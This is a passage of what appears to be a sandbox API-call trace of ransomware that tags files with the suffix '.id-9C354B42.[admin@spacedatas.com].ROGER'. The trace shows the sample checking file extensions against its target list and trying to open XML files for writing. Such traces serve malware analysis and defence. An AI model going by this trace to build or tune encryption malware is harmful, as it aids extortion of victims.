lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".7z") returned 3 [0042.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.027] lstrlenW (lpString=".dbf") returned 4 [0042.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.027] lstrlenW (lpString=".1cd") returned 4 [0042.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.027] lstrlenW (lpString=".jpg") returned 4 [0042.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.027] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.027] lstrlenW (lpString="base.xml") returned 8 [0042.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0042.029] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3150) returned 1 [0042.029] CloseHandle (hObject=0x390) returned 1 [0042.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0042.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.029] lstrlenW (lpString=".doc") returned 4 [0042.030] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString=".docx") returned 5 [0042.030] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0042.030] lstrlenW (lpString=".pdf") returned 4 [0042.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString=".xls") returned 4 [0042.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString=".xlsx") returned 5 [0042.030] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0042.030] lstrlenW (lpString=".ppt") returned 4 [0042.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.030] lstrlenW (lpString=".zip") returned 4 [0042.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.030] lstrlenW (lpString=".rar") returned 4 [0042.030] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString=".bz2") returned 4 [0042.030] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString=".7z") returned 3 [0042.030] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.030] lstrlenW (lpString=".dbf") returned 4 [0042.030] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.030] lstrlenW (lpString=".1cd") returned 4 [0042.030] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.031] lstrlenW (lpString=".jpg") returned 4 [0042.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.031] lstrlenW (lpString=".doc") returned 4 [0042.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString=".docx") returned 5 [0042.031] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0042.031] lstrlenW (lpString=".pdf") returned 4 [0042.031] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString=".xls") returned 4 [0042.031] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString=".xlsx") returned 5 [0042.031] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0042.031] lstrlenW (lpString=".ppt") returned 4 [0042.031] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.031] lstrlenW (lpString=".zip") returned 4 [0042.031] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.031] lstrlenW (lpString=".rar") returned 4 [0042.031] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString=".bz2") returned 4 [0042.031] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString=".7z") returned 3 [0042.031] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.031] lstrlenW (lpString=".dbf") returned 4 [0042.031] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.031] lstrlenW (lpString=".1cd") returned 4 [0042.031] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0042.031] lstrlenW (lpString=".jpg") returned 4 [0042.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.032] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.032] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0042.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0042.032] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=247) returned 1 [0042.032] CloseHandle (hObject=0x390) returned 1 [0042.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0042.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.032] lstrlenW (lpString=".doc") returned 4 [0042.032] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.032] lstrlenW (lpString=".docx") returned 5 [0042.032] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0042.032] lstrlenW (lpString=".pdf") returned 4 [0042.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString=".xls") returned 4 [0042.033] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString=".xlsx") returned 5 [0042.033] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0042.033] lstrlenW (lpString=".ppt") returned 4 [0042.033] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.033] lstrlenW (lpString=".zip") returned 4 [0042.033] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.033] lstrlenW (lpString=".rar") returned 4 [0042.033] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString=".bz2") returned 4 [0042.033] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString=".7z") returned 3 [0042.033] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.033] lstrlenW (lpString=".dbf") returned 4 [0042.033] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.033] lstrlenW (lpString=".1cd") returned 4 [0042.033] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.033] lstrlenW (lpString=".jpg") returned 4 [0042.033] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.033] lstrlenW (lpString=".doc") returned 4 [0042.033] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString=".docx") returned 5 [0042.033] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0042.033] lstrlenW (lpString=".pdf") returned 4 [0042.033] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.033] lstrlenW (lpString=".xls") returned 4 [0042.033] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.034] lstrlenW (lpString=".xlsx") returned 5 [0042.034] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0042.034] lstrlenW (lpString=".ppt") returned 4 [0042.034] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.034] lstrlenW (lpString=".zip") returned 4 [0042.034] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.034] lstrlenW (lpString=".rar") returned 4 [0042.034] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.034] lstrlenW (lpString=".bz2") returned 4 [0042.034] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.034] lstrlenW (lpString=".7z") returned 3 [0042.034] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.034] lstrlenW (lpString=".dbf") returned 4 [0042.034] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.034] lstrlenW (lpString=".1cd") returned 4 [0042.034] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0042.034] lstrlenW (lpString=".jpg") returned 4 [0042.034] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.034] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.034] lstrlenW (lpString="base_altgr.xml") returned 14 [0042.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0042.035] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3161) returned 1 [0042.035] CloseHandle (hObject=0x390) returned 1 [0042.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0042.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.036] lstrlenW (lpString=".doc") returned 4 [0042.036] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString=".docx") returned 5 [0042.036] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0042.036] lstrlenW (lpString=".pdf") returned 4 [0042.036] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString=".xls") returned 4 [0042.036] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString=".xlsx") returned 5 [0042.036] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0042.036] lstrlenW (lpString=".ppt") returned 4 [0042.036] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.036] lstrlenW (lpString=".zip") returned 4 [0042.036] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.036] lstrlenW (lpString=".rar") returned 4 [0042.036] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString=".bz2") returned 4 [0042.036] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString=".7z") returned 3 [0042.036] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.036] lstrlenW (lpString=".dbf") returned 4 [0042.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.036] lstrlenW (lpString=".1cd") returned 4 [0042.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.036] lstrlenW (lpString=".jpg") returned 4 [0042.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.036] lstrlenW (lpString=".doc") returned 4 [0042.036] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString=".docx") returned 5 [0042.037] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0042.037] lstrlenW (lpString=".pdf") returned 4 [0042.037] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString=".xls") returned 4 [0042.037] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString=".xlsx") returned 5 [0042.037] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0042.037] lstrlenW (lpString=".ppt") returned 4 [0042.037] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.037] lstrlenW (lpString=".zip") returned 4 [0042.037] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.037] lstrlenW (lpString=".rar") returned 4 [0042.037] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString=".bz2") returned 4 [0042.037] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString=".7z") returned 3 [0042.037] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.037] lstrlenW (lpString=".dbf") returned 4 [0042.037] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.037] lstrlenW (lpString=".1cd") returned 4 [0042.037] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0042.037] lstrlenW (lpString=".jpg") returned 4 [0042.037] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.037] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.037] lstrlenW (lpString="base_ca.xml") returned 11 [0042.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0042.038] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3166) returned 1 [0042.038] CloseHandle (hObject=0x390) returned 1 [0042.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0042.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.038] lstrlenW (lpString=".doc") returned 4 [0042.038] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.038] lstrlenW (lpString=".docx") returned 5 [0042.038] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.038] lstrlenW (lpString=".pdf") returned 4 [0042.038] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.038] lstrlenW (lpString=".xls") returned 4 [0042.038] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.038] lstrlenW (lpString=".xlsx") returned 5 [0042.038] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.038] lstrlenW (lpString=".ppt") returned 4 [0042.038] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.038] lstrlenW (lpString=".zip") returned 4 [0042.038] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.038] lstrlenW (lpString=".rar") returned 4 [0042.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString=".bz2") returned 4 [0042.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString=".7z") returned 3 [0042.039] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.039] lstrlenW (lpString=".dbf") returned 4 [0042.039] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.039] lstrlenW (lpString=".1cd") returned 4 [0042.039] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.039] lstrlenW (lpString=".jpg") returned 4 [0042.039] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.039] lstrlenW (lpString=".doc") returned 4 [0042.039] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString=".docx") returned 5 [0042.039] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.039] lstrlenW (lpString=".pdf") returned 4 [0042.039] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString=".xls") returned 4 [0042.039] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString=".xlsx") returned 5 [0042.039] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.039] lstrlenW (lpString=".ppt") returned 4 [0042.039] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.039] lstrlenW (lpString=".zip") returned 4 [0042.039] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.039] lstrlenW (lpString=".rar") returned 4 [0042.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.039] lstrlenW (lpString=".bz2") returned 4 [0042.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.040] lstrlenW (lpString=".7z") returned 3 [0042.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.040] lstrlenW (lpString=".dbf") returned 4 [0042.040] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.040] lstrlenW (lpString=".1cd") returned 4 [0042.040] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0042.040] lstrlenW (lpString=".jpg") returned 4 [0042.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.040] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.040] lstrlenW (lpString="base_heb.xml") returned 12 [0042.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0042.041] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=738) returned 1 [0042.041] CloseHandle (hObject=0x390) returned 1 [0042.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0042.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 